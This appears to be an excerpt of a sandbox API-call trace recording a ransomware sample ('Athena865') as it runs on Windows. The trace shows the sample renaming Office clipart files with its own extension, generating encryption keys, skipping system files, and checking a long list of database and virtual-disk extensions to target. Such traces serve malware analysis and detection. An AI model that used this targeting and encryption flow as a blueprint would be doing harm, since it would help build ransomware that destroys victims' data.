lpString1=0x241e8ae, lpString2="AG00040_.GIF" | out: lpString1="AG00040_.GIF") returned="AG00040_.GIF" [0120.864] lstrlenW (lpString="AG00040_.GIF") returned 12 [0120.864] lstrlenW (lpString="Athena865") returned 9 [0120.864] lstrcmpiW (lpString1="0040_.GIF", lpString2="Athena865") returned -1 [0120.864] lstrlenW (lpString=".dll") returned 4 [0120.864] lstrcmpiW (lpString1="AG00040_.GIF", lpString2=".dll") returned 1 [0120.864] lstrlenW (lpString=".lnk") returned 4 [0120.864] lstrcmpiW (lpString1="AG00040_.GIF", lpString2=".lnk") returned 1 [0120.864] lstrlenW (lpString=".ini") returned 4 [0120.864] lstrcmpiW (lpString1="AG00040_.GIF", lpString2=".ini") returned 1 [0120.864] lstrlenW (lpString=".sys") returned 4 [0120.864] lstrcmpiW (lpString1="AG00040_.GIF", lpString2=".sys") returned 1 [0120.864] lstrlenW (lpString="AG00040_.GIF") returned 12 [0120.864] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF.Athena865") returned 73 [0120.864] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00040_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00040_.gif.athena865"), dwFlags=0x1) returned 1 [0120.865] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00040_.gif.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0120.865] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=8097) returned 1 [0120.865] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0120.866] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0120.866] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0120.866] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0120.867] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0120.867] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0120.867] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x22b0, lpName=0x0) returned 0x154 [0120.868] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x22b0) returned 0x100000 [0120.869] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0120.870] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0120.870] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0120.870] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0120.870] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0120.870] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0120.870] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0120.870] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0120.870] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0120.870] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0120.876] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0120.876] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0120.876] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0120.877] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0120.877] CloseHandle (hObject=0x154) returned 1 [0120.877] CloseHandle (hObject=0x17c) returned 1 [0120.877] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0120.877] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0120.877] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0120.877] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x262e5400, ftCreationTime.dwHighDateTime=0x1bd4c10, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x262e5400, ftLastWriteTime.dwHighDateTime=0x1bd4c10, nFileSizeHigh=0x0, nFileSizeLow=0x1e06, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AG00052_.GIF", cAlternateFileName="")) returned 1 [0120.877] lstrcmpiW (lpString1="AG00052_.GIF", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0120.877] lstrcmpiW (lpString1="AG00052_.GIF", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0120.877] lstrcmpiW (lpString1="AG00052_.GIF", lpString2=".") returned 1 [0120.877] lstrcmpiW (lpString1="AG00052_.GIF", lpString2="..") returned 1 [0120.877] lstrcmpiW (lpString1="AG00052_.GIF", lpString2="windows") returned -1 [0120.877] lstrcmpiW (lpString1="AG00052_.GIF", lpString2="bootmgr") returned -1 [0120.877] lstrcmpiW (lpString1="AG00052_.GIF", lpString2="temp") returned -1 [0120.877] lstrcmpiW (lpString1="AG00052_.GIF", lpString2="pagefile.sys") returned -1 [0120.877] lstrcmpiW (lpString1="AG00052_.GIF", lpString2="boot") returned -1 [0120.877] lstrcmpiW (lpString1="AG00052_.GIF", lpString2="ids.txt") returned -1 [0120.878] lstrcmpiW (lpString1="AG00052_.GIF", lpString2="ntuser.dat") returned -1 [0120.878] lstrcmpiW (lpString1="AG00052_.GIF", lpString2="perflogs") returned -1 [0120.878] lstrcmpiW (lpString1="AG00052_.GIF", lpString2="MSBuild") returned -1 [0120.878] lstrlenW (lpString="AG00052_.GIF") returned 12 [0120.878] lstrcpyW (in: lpString1=0x241e8ae, lpString2="AG00052_.GIF" | out: lpString1="AG00052_.GIF") returned="AG00052_.GIF" [0120.878] lstrlenW (lpString="AG00052_.GIF") returned 12 [0120.878] lstrlenW (lpString="Athena865") returned 9 [0120.878] lstrcmpiW (lpString1="0052_.GIF", lpString2="Athena865") returned -1 [0120.878] lstrlenW (lpString=".dll") returned 4 [0120.878] lstrcmpiW (lpString1="AG00052_.GIF", lpString2=".dll") returned 1 [0120.878] lstrlenW (lpString=".lnk") returned 4 [0120.878] lstrcmpiW (lpString1="AG00052_.GIF", lpString2=".lnk") returned 1 [0120.878] lstrlenW (lpString=".ini") returned 4 [0120.878] lstrcmpiW (lpString1="AG00052_.GIF", lpString2=".ini") returned 1 [0120.878] lstrlenW (lpString=".sys") returned 4 [0120.878] lstrcmpiW (lpString1="AG00052_.GIF", lpString2=".sys") returned 1 [0120.878] lstrlenW (lpString="AG00052_.GIF") returned 12 [0120.878] lstrlenW (lpString="bak") returned 3 [0120.878] lstrcmpiW (lpString1="GIF", lpString2="bak") returned 1 [0120.878] lstrlenW (lpString="ba_") returned 3 [0120.878] lstrcmpiW (lpString1="GIF", lpString2="ba_") returned 1 [0120.878] lstrlenW (lpString="dbb") returned 3 [0120.878] lstrcmpiW (lpString1="GIF", lpString2="dbb") returned 1 [0120.878] lstrlenW (lpString="vmdk") returned 4 [0120.878] lstrcmpiW (lpString1=".GIF", lpString2="vmdk") returned -1 [0120.878] lstrlenW (lpString="rar") returned 3 [0120.878] lstrcmpiW (lpString1="GIF", lpString2="rar") returned -1 [0120.878] lstrlenW (lpString="zip") returned 3 [0120.879] lstrcmpiW (lpString1="GIF", lpString2="zip") returned -1 [0120.879] lstrlenW (lpString="tgz") returned 3 [0120.879] lstrcmpiW (lpString1="GIF", lpString2="tgz") returned -1 [0120.879] lstrlenW (lpString="vbox") returned 4 [0120.879] lstrcmpiW (lpString1=".GIF", lpString2="vbox") returned -1 [0120.879] lstrlenW (lpString="vdi") returned 3 [0120.879] lstrcmpiW (lpString1="GIF", lpString2="vdi") returned -1 [0120.879] lstrlenW (lpString="vhd") returned 3 [0120.879] lstrcmpiW (lpString1="GIF", lpString2="vhd") returned -1 [0120.879] lstrlenW (lpString="vhdx") returned 4 [0120.879] lstrcmpiW (lpString1=".GIF", lpString2="vhdx") returned -1 [0120.879] lstrlenW (lpString="avhd") returned 4 [0120.879] lstrcmpiW (lpString1=".GIF", lpString2="avhd") returned -1 [0120.879] lstrlenW (lpString="db") returned 2 [0120.879] lstrcmpiW (lpString1="IF", lpString2="db") returned 1 [0120.879] lstrlenW (lpString="db2") returned 3 [0120.879] lstrcmpiW (lpString1="GIF", lpString2="db2") returned 1 [0120.879] lstrlenW (lpString="db3") returned 3 [0120.879] lstrcmpiW (lpString1="GIF", lpString2="db3") returned 1 [0120.879] lstrlenW (lpString="dbf") returned 3 [0120.879] lstrcmpiW (lpString1="GIF", lpString2="dbf") returned 1 [0120.879] lstrlenW (lpString="mdf") returned 3 [0120.879] lstrcmpiW (lpString1="GIF", lpString2="mdf") returned -1 [0120.879] lstrlenW (lpString="mdb") returned 3 [0120.879] lstrcmpiW (lpString1="GIF", lpString2="mdb") returned -1 [0120.879] lstrlenW (lpString="sql") returned 3 [0120.879] lstrcmpiW (lpString1="GIF", lpString2="sql") returned -1 [0120.879] lstrlenW (lpString="sqlite") returned 6 [0120.880] lstrcmpiW (lpString1="2_.GIF", lpString2="sqlite") returned -1 [0120.880] lstrlenW (lpString="sqlite3") returned 7 [0120.880] lstrcmpiW (lpString1="52_.GIF", lpString2="sqlite3") returned -1 [0120.880] lstrlenW (lpString="sqlitedb") returned 8 [0120.880] lstrcmpiW (lpString1="052_.GIF", lpString2="sqlitedb") returned -1 [0120.880] lstrlenW (lpString="xml") returned 3 [0120.880] lstrcmpiW (lpString1="GIF", lpString2="xml") returned -1 [0120.880] lstrlenW (lpString="$er") returned 3 [0120.880] lstrcmpiW (lpString1="GIF", lpString2="$er") returned 1 [0120.880] lstrlenW (lpString="4dd") returned 3 [0120.880] lstrcmpiW (lpString1="GIF", lpString2="4dd") returned 1 [0120.880] lstrlenW (lpString="4dl") returned 3 [0120.880] lstrcmpiW (lpString1="GIF", lpString2="4dl") returned 1 [0120.880] lstrlenW (lpString="^^^") returned 3 [0120.880] lstrcmpiW (lpString1="GIF", lpString2="^^^") returned 1 [0120.880] lstrlenW (lpString="abs") returned 3 [0120.880] lstrcmpiW (lpString1="GIF", lpString2="abs") returned 1 [0120.880] lstrlenW (lpString="abx") returned 3 [0120.880] lstrcmpiW (lpString1="GIF", lpString2="abx") returned 1 [0120.880] lstrlenW (lpString="accdb") returned 5 [0120.880] lstrcmpiW (lpString1="_.GIF", lpString2="accdb") returned -1 [0120.880] lstrlenW (lpString="accdc") returned 5 [0120.880] lstrcmpiW (lpString1="_.GIF", lpString2="accdc") returned -1 [0120.880] lstrlenW (lpString="accde") returned 5 [0120.880] lstrcmpiW (lpString1="_.GIF", lpString2="accde") returned -1 [0120.880] lstrlenW (lpString="accdr") returned 5 [0120.880] lstrcmpiW (lpString1="_.GIF", lpString2="accdr") returned -1 [0120.880] lstrlenW (lpString="accdt") returned 5 [0120.880] lstrcmpiW (lpString1="_.GIF", lpString2="accdt") returned -1 [0120.881] lstrlenW (lpString="accdw") returned 5 [0120.881] lstrcmpiW (lpString1="_.GIF", lpString2="accdw") returned -1 [0120.881] lstrlenW (lpString="accft") returned 5 [0120.881] lstrcmpiW (lpString1="_.GIF", lpString2="accft") returned -1 [0120.881] lstrlenW (lpString="adb") returned 3 [0120.881] lstrcmpiW (lpString1="GIF", lpString2="adb") returned 1 [0120.881] lstrlenW (lpString="adb") returned 3 [0120.881] lstrcmpiW (lpString1="GIF", lpString2="adb") returned 1 [0120.881] lstrlenW (lpString="ade") returned 3 [0120.881] lstrcmpiW (lpString1="GIF", lpString2="ade") returned 1 [0120.881] lstrlenW (lpString="adf") returned 3 [0120.881] lstrcmpiW (lpString1="GIF", lpString2="adf") returned 1 [0120.881] lstrlenW (lpString="adn") returned 3 [0120.881] lstrcmpiW (lpString1="GIF", lpString2="adn") returned 1 [0120.881] lstrlenW (lpString="adp") returned 3 [0120.881] lstrcmpiW (lpString1="GIF", lpString2="adp") returned 1 [0120.881] lstrlenW (lpString="alf") returned 3 [0120.881] lstrcmpiW (lpString1="GIF", lpString2="alf") returned 1 [0120.881] lstrlenW (lpString="ask") returned 3 [0120.881] lstrcmpiW (lpString1="GIF", lpString2="ask") returned 1 [0120.881] lstrlenW (lpString="btr") returned 3 [0120.881] lstrcmpiW (lpString1="GIF", lpString2="btr") returned 1 [0120.881] lstrlenW (lpString="cat") returned 3 [0120.881] lstrcmpiW (lpString1="GIF", lpString2="cat") returned 1 [0120.881] lstrlenW (lpString="cdb") returned 3 [0120.881] lstrcmpiW (lpString1="GIF", lpString2="cdb") returned 1 [0120.881] lstrlenW (lpString="ckp") returned 3 [0120.881] lstrcmpiW (lpString1="GIF", lpString2="ckp") returned 1 [0120.881] lstrlenW (lpString="cma") returned 3 [0120.882] lstrcmpiW (lpString1="GIF", lpString2="cma") returned 1 [0120.882] lstrlenW (lpString="cpd") returned 3 [0120.882] lstrcmpiW (lpString1="GIF", lpString2="cpd") returned 1 [0120.882] lstrlenW (lpString="dacpac") returned 6 [0120.882] lstrcmpiW (lpString1="2_.GIF", lpString2="dacpac") returned -1 [0120.882] lstrlenW (lpString="dad") returned 3 [0120.882] lstrcmpiW (lpString1="GIF", lpString2="dad") returned 1 [0120.882] lstrlenW (lpString="dadiagrams") returned 10 [0120.882] lstrcmpiW (lpString1="00052_.GIF", lpString2="dadiagrams") returned -1 [0120.882] lstrlenW (lpString="daschema") returned 8 [0120.882] lstrcmpiW (lpString1="052_.GIF", lpString2="daschema") returned -1 [0120.882] lstrlenW (lpString="db-journal") returned 10 [0120.882] lstrcmpiW (lpString1="00052_.GIF", lpString2="db-journal") returned -1 [0120.882] lstrlenW (lpString="db-shm") returned 6 [0120.882] lstrcmpiW (lpString1="2_.GIF", lpString2="db-shm") returned -1 [0120.882] lstrlenW (lpString="db-wal") returned 6 [0120.882] lstrcmpiW (lpString1="2_.GIF", lpString2="db-wal") returned -1 [0120.882] lstrlenW (lpString="dbc") returned 3 [0120.882] lstrcmpiW (lpString1="GIF", lpString2="dbc") returned 1 [0120.882] lstrlenW (lpString="dbs") returned 3 [0120.882] lstrcmpiW (lpString1="GIF", lpString2="dbs") returned 1 [0120.882] lstrlenW (lpString="dbt") returned 3 [0120.882] lstrcmpiW (lpString1="GIF", lpString2="dbt") returned 1 [0120.882] lstrlenW (lpString="dbv") returned 3 [0120.882] lstrcmpiW (lpString1="GIF", lpString2="dbv") returned 1 [0120.882] lstrlenW (lpString="dbx") returned 3 [0120.882] lstrcmpiW (lpString1="GIF", lpString2="dbx") returned 1 [0120.882] lstrlenW (lpString="dcb") returned 3 [0120.883] lstrcmpiW (lpString1="GIF", lpString2="dcb") returned 1 [0120.883] lstrlenW (lpString="dct") returned 3 [0120.883] lstrcmpiW (lpString1="GIF", lpString2="dct") returned 1 [0120.883] lstrlenW (lpString="dcx") returned 3 [0120.883] lstrcmpiW (lpString1="GIF", lpString2="dcx") returned 1 [0120.883] lstrlenW (lpString="ddl") returned 3 [0120.883] lstrcmpiW (lpString1="GIF", lpString2="ddl") returned 1 [0120.883] lstrlenW (lpString="dlis") returned 4 [0120.883] lstrcmpiW (lpString1=".GIF", lpString2="dlis") returned -1 [0120.883] lstrlenW (lpString="dp1") returned 3 [0120.883] lstrcmpiW (lpString1="GIF", lpString2="dp1") returned 1 [0120.883] lstrlenW (lpString="dqy") returned 3 [0120.883] lstrcmpiW (lpString1="GIF", lpString2="dqy") returned 1 [0120.883] lstrlenW (lpString="dsk") returned 3 [0120.883] lstrcmpiW (lpString1="GIF", lpString2="dsk") returned 1 [0120.883] lstrlenW (lpString="dsn") returned 3 [0120.883] lstrcmpiW (lpString1="GIF", lpString2="dsn") returned 1 [0120.883] lstrlenW (lpString="dtsx") returned 4 [0120.883] lstrcmpiW (lpString1=".GIF", lpString2="dtsx") returned -1 [0120.883] lstrlenW (lpString="dxl") returned 3 [0120.883] lstrcmpiW (lpString1="GIF", lpString2="dxl") returned 1 [0120.883] lstrlenW (lpString="eco") returned 3 [0120.883] lstrcmpiW (lpString1="GIF", lpString2="eco") returned 1 [0120.883] lstrlenW (lpString="ecx") returned 3 [0120.883] lstrcmpiW (lpString1="GIF", lpString2="ecx") returned 1 [0120.883] lstrlenW (lpString="edb") returned 3 [0120.883] lstrcmpiW (lpString1="GIF", lpString2="edb") returned 1 [0120.883] lstrlenW (lpString="epim") returned 4 [0120.884] lstrcmpiW (lpString1=".GIF", lpString2="epim") returned -1 [0120.884] lstrlenW (lpString="fcd") returned 3 [0120.884] lstrcmpiW (lpString1="GIF", lpString2="fcd") returned 1 [0120.884] lstrlenW (lpString="fdb") returned 3 [0120.884] lstrcmpiW (lpString1="GIF", lpString2="fdb") returned 1 [0120.884] lstrlenW (lpString="fic") returned 3 [0120.884] lstrcmpiW (lpString1="GIF", lpString2="fic") returned 1 [0120.884] lstrlenW (lpString="flexolibrary") returned 12 [0120.884] lstrlenW (lpString="fm5") returned 3 [0120.884] lstrcmpiW (lpString1="GIF", lpString2="fm5") returned 1 [0120.884] lstrlenW (lpString="fmp") returned 3 [0120.884] lstrcmpiW (lpString1="GIF", lpString2="fmp") returned 1 [0120.884] lstrlenW (lpString="fmp12") returned 5 [0120.884] lstrcmpiW (lpString1="_.GIF", lpString2="fmp12") returned -1 [0120.884] lstrlenW (lpString="fmpsl") returned 5 [0120.884] lstrcmpiW (lpString1="_.GIF", lpString2="fmpsl") returned -1 [0120.884] lstrlenW (lpString="fol") returned 3 [0120.884] lstrcmpiW (lpString1="GIF", lpString2="fol") returned 1 [0120.884] lstrlenW (lpString="fp3") returned 3 [0120.884] lstrcmpiW (lpString1="GIF", lpString2="fp3") returned 1 [0120.884] lstrlenW (lpString="fp4") returned 3 [0120.884] lstrcmpiW (lpString1="GIF", lpString2="fp4") returned 1 [0120.884] lstrlenW (lpString="fp5") returned 3 [0120.884] lstrcmpiW (lpString1="GIF", lpString2="fp5") returned 1 [0120.884] lstrlenW (lpString="fp7") returned 3 [0120.884] lstrcmpiW (lpString1="GIF", lpString2="fp7") returned 1 [0120.884] lstrlenW (lpString="fpt") returned 3 [0120.884] lstrcmpiW (lpString1="GIF", lpString2="fpt") returned 1 [0120.885] lstrlenW (lpString="frm") returned 3 [0120.885] lstrcmpiW (lpString1="GIF", lpString2="frm") returned 1 [0120.885] lstrlenW (lpString="gdb") returned 3 [0120.885] lstrcmpiW (lpString1="GIF", lpString2="gdb") returned 1 [0120.885] lstrlenW (lpString="gdb") returned 3 [0120.885] lstrcmpiW (lpString1="GIF", lpString2="gdb") returned 1 [0120.885] lstrlenW (lpString="grdb") returned 4 [0120.885] lstrcmpiW (lpString1=".GIF", lpString2="grdb") returned -1 [0120.885] lstrlenW (lpString="gwi") returned 3 [0120.885] lstrcmpiW (lpString1="GIF", lpString2="gwi") returned -1 [0120.885] lstrlenW (lpString="hdb") returned 3 [0120.885] lstrcmpiW (lpString1="GIF", lpString2="hdb") returned -1 [0120.885] lstrlenW (lpString="his") returned 3 [0120.885] lstrcmpiW (lpString1="GIF", lpString2="his") returned -1 [0120.885] lstrlenW (lpString="ib") returned 2 [0120.885] lstrcmpiW (lpString1="IF", lpString2="ib") returned 1 [0120.885] lstrlenW (lpString="idb") returned 3 [0120.885] lstrcmpiW (lpString1="GIF", lpString2="idb") returned -1 [0120.885] lstrlenW (lpString="ihx") returned 3 [0120.885] lstrcmpiW (lpString1="GIF", lpString2="ihx") returned -1 [0120.885] lstrlenW (lpString="itdb") returned 4 [0120.885] lstrcmpiW (lpString1=".GIF", lpString2="itdb") returned -1 [0120.885] lstrlenW (lpString="itw") returned 3 [0120.885] lstrcmpiW (lpString1="GIF", lpString2="itw") returned -1 [0120.885] lstrlenW (lpString="jet") returned 3 [0120.885] lstrcmpiW (lpString1="GIF", lpString2="jet") returned -1 [0120.885] lstrlenW (lpString="jtx") returned 3 [0120.885] lstrcmpiW (lpString1="GIF", lpString2="jtx") returned -1 [0120.886] lstrlenW (lpString="kdb") returned 3 [0120.886] lstrcmpiW (lpString1="GIF", lpString2="kdb") returned -1 [0120.886] lstrlenW (lpString="kexi") returned 4 [0120.886] lstrcmpiW (lpString1=".GIF", lpString2="kexi") returned -1 [0120.886] lstrlenW (lpString="kexic") returned 5 [0120.886] lstrcmpiW (lpString1="_.GIF", lpString2="kexic") returned -1 [0120.886] lstrlenW (lpString="kexis") returned 5 [0120.886] lstrcmpiW (lpString1="_.GIF", lpString2="kexis") returned -1 [0120.886] lstrlenW (lpString="lgc") returned 3 [0120.886] lstrcmpiW (lpString1="GIF", lpString2="lgc") returned -1 [0120.886] lstrlenW (lpString="lwx") returned 3 [0120.886] lstrcmpiW (lpString1="GIF", lpString2="lwx") returned -1 [0120.886] lstrlenW (lpString="maf") returned 3 [0120.886] lstrcmpiW (lpString1="GIF", lpString2="maf") returned -1 [0120.886] lstrlenW (lpString="maq") returned 3 [0120.886] lstrcmpiW (lpString1="GIF", lpString2="maq") returned -1 [0120.886] lstrlenW (lpString="mar") returned 3 [0120.886] lstrcmpiW (lpString1="GIF", lpString2="mar") returned -1 [0120.886] lstrlenW (lpString="marshal") returned 7 [0120.886] lstrcmpiW (lpString1="52_.GIF", lpString2="marshal") returned -1 [0120.886] lstrlenW (lpString="mas") returned 3 [0120.886] lstrcmpiW (lpString1="GIF", lpString2="mas") returned -1 [0120.886] lstrlenW (lpString="mav") returned 3 [0120.886] lstrcmpiW (lpString1="GIF", lpString2="mav") returned -1 [0120.886] lstrlenW (lpString="maw") returned 3 [0120.886] lstrcmpiW (lpString1="GIF", lpString2="maw") returned -1 [0120.886] lstrlenW (lpString="mdbhtml") returned 7 [0120.886] lstrcmpiW (lpString1="52_.GIF", lpString2="mdbhtml") returned -1 [0120.887] lstrlenW (lpString="mdn") returned 3 [0120.887] lstrcmpiW (lpString1="GIF", lpString2="mdn") returned -1 [0120.887] lstrlenW (lpString="mdt") returned 3 [0120.887] lstrcmpiW (lpString1="GIF", lpString2="mdt") returned -1 [0120.887] lstrlenW (lpString="mfd") returned 3 [0120.887] lstrcmpiW (lpString1="GIF", lpString2="mfd") returned -1 [0120.887] lstrlenW (lpString="mpd") returned 3 [0120.887] lstrcmpiW (lpString1="GIF", lpString2="mpd") returned -1 [0120.887] lstrlenW (lpString="mrg") returned 3 [0120.887] lstrcmpiW (lpString1="GIF", lpString2="mrg") returned -1 [0120.887] lstrlenW (lpString="mud") returned 3 [0120.887] lstrcmpiW (lpString1="GIF", lpString2="mud") returned -1 [0120.887] lstrlenW (lpString="mwb") returned 3 [0120.887] lstrcmpiW (lpString1="GIF", lpString2="mwb") returned -1 [0120.887] lstrlenW (lpString="myd") returned 3 [0120.887] lstrcmpiW (lpString1="GIF", lpString2="myd") returned -1 [0120.887] lstrlenW (lpString="ndf") returned 3 [0120.887] lstrcmpiW (lpString1="GIF", lpString2="ndf") returned -1 [0120.887] lstrlenW (lpString="nnt") returned 3 [0120.887] lstrcmpiW (lpString1="GIF", lpString2="nnt") returned -1 [0120.887] lstrlenW (lpString="nrmlib") returned 6 [0120.887] lstrcmpiW (lpString1="2_.GIF", lpString2="nrmlib") returned -1 [0120.887] lstrlenW (lpString="ns2") returned 3 [0120.887] lstrcmpiW (lpString1="GIF", lpString2="ns2") returned -1 [0120.887] lstrlenW (lpString="ns3") returned 3 [0120.887] lstrcmpiW (lpString1="GIF", lpString2="ns3") returned -1 [0120.887] lstrlenW (lpString="ns4") returned 3 [0120.887] lstrcmpiW (lpString1="GIF", lpString2="ns4") returned -1 [0120.888] lstrlenW (lpString="nsf") returned 3 [0120.888] lstrcmpiW (lpString1="GIF", lpString2="nsf") returned -1 [0120.888] lstrlenW (lpString="nv") returned 2 [0120.888] lstrcmpiW (lpString1="IF", lpString2="nv") returned -1 [0120.888] lstrlenW (lpString="nv2") returned 3 [0120.888] lstrcmpiW (lpString1="GIF", lpString2="nv2") returned -1 [0120.888] lstrlenW (lpString="nwdb") returned 4 [0120.888] lstrcmpiW (lpString1=".GIF", lpString2="nwdb") returned -1 [0120.888] lstrlenW (lpString="nyf") returned 3 [0120.888] lstrcmpiW (lpString1="GIF", lpString2="nyf") returned -1 [0120.888] lstrlenW (lpString="odb") returned 3 [0120.888] lstrcmpiW (lpString1="GIF", lpString2="odb") returned -1 [0120.888] lstrlenW (lpString="odb") returned 3 [0120.888] lstrcmpiW (lpString1="GIF", lpString2="odb") returned -1 [0120.888] lstrlenW (lpString="oqy") returned 3 [0120.888] lstrcmpiW (lpString1="GIF", lpString2="oqy") returned -1 [0120.888] lstrlenW (lpString="ora") returned 3 [0120.888] lstrcmpiW (lpString1="GIF", lpString2="ora") returned -1 [0120.888] lstrlenW (lpString="orx") returned 3 [0120.888] lstrcmpiW (lpString1="GIF", lpString2="orx") returned -1 [0120.888] lstrlenW (lpString="owc") returned 3 [0120.888] lstrcmpiW (lpString1="GIF", lpString2="owc") returned -1 [0120.888] lstrlenW (lpString="p96") returned 3 [0120.888] lstrcmpiW (lpString1="GIF", lpString2="p96") returned -1 [0120.888] lstrlenW (lpString="p97") returned 3 [0120.888] lstrcmpiW (lpString1="GIF", lpString2="p97") returned -1 [0120.888] lstrlenW (lpString="pan") returned 3 [0120.888] lstrcmpiW (lpString1="GIF", lpString2="pan") returned -1 [0120.888] lstrlenW (lpString="pdb") returned 3 [0120.889] lstrcmpiW (lpString1="GIF", lpString2="pdb") returned -1 [0120.889] lstrlenW (lpString="pdm") returned 3 [0120.889] lstrcmpiW (lpString1="GIF", lpString2="pdm") returned -1 [0120.889] lstrlenW (lpString="pnz") returned 3 [0120.889] lstrcmpiW (lpString1="GIF", lpString2="pnz") returned -1 [0120.889] lstrlenW (lpString="qry") returned 3 [0120.889] lstrcmpiW (lpString1="GIF", lpString2="qry") returned -1 [0120.889] lstrlenW (lpString="qvd") returned 3 [0120.889] lstrcmpiW (lpString1="GIF", lpString2="qvd") returned -1 [0120.889] lstrlenW (lpString="rbf") returned 3 [0120.889] lstrcmpiW (lpString1="GIF", lpString2="rbf") returned -1 [0120.889] lstrlenW (lpString="rctd") returned 4 [0120.889] lstrcmpiW (lpString1=".GIF", lpString2="rctd") returned -1 [0120.889] lstrlenW (lpString="rod") returned 3 [0120.889] lstrcmpiW (lpString1="GIF", lpString2="rod") returned -1 [0120.889] lstrlenW (lpString="rodx") returned 4 [0120.889] lstrcmpiW (lpString1=".GIF", lpString2="rodx") returned -1 [0120.889] lstrlenW (lpString="rpd") returned 3 [0120.889] lstrcmpiW (lpString1="GIF", lpString2="rpd") returned -1 [0120.889] lstrlenW (lpString="rsd") returned 3 [0120.889] lstrcmpiW (lpString1="GIF", lpString2="rsd") returned -1 [0120.889] lstrlenW (lpString="sas7bdat") returned 8 [0120.889] lstrcmpiW (lpString1="052_.GIF", lpString2="sas7bdat") returned -1 [0120.889] lstrlenW (lpString="sbf") returned 3 [0120.889] lstrcmpiW (lpString1="GIF", lpString2="sbf") returned -1 [0120.889] lstrlenW (lpString="scx") returned 3 [0120.889] lstrcmpiW (lpString1="GIF", lpString2="scx") returned -1 [0120.889] lstrlenW (lpString="sdb") returned 3 [0120.890] lstrcmpiW (lpString1="GIF", lpString2="sdb") returned -1 [0120.890] lstrlenW (lpString="sdc") returned 3 [0120.890] lstrcmpiW (lpString1="GIF", lpString2="sdc") returned -1 [0120.890] lstrlenW (lpString="sdf") returned 3 [0120.890] lstrcmpiW (lpString1="GIF", lpString2="sdf") returned -1 [0120.890] lstrlenW (lpString="sis") returned 3 [0120.890] lstrcmpiW (lpString1="GIF", lpString2="sis") returned -1 [0120.890] lstrlenW (lpString="spq") returned 3 [0120.890] lstrcmpiW (lpString1="GIF", lpString2="spq") returned -1 [0120.890] lstrlenW (lpString="te") returned 2 [0120.890] lstrcmpiW (lpString1="IF", lpString2="te") returned -1 [0120.890] lstrlenW (lpString="teacher") returned 7 [0120.890] lstrcmpiW (lpString1="52_.GIF", lpString2="teacher") returned -1 [0120.890] lstrlenW (lpString="tmd") returned 3 [0120.890] lstrcmpiW 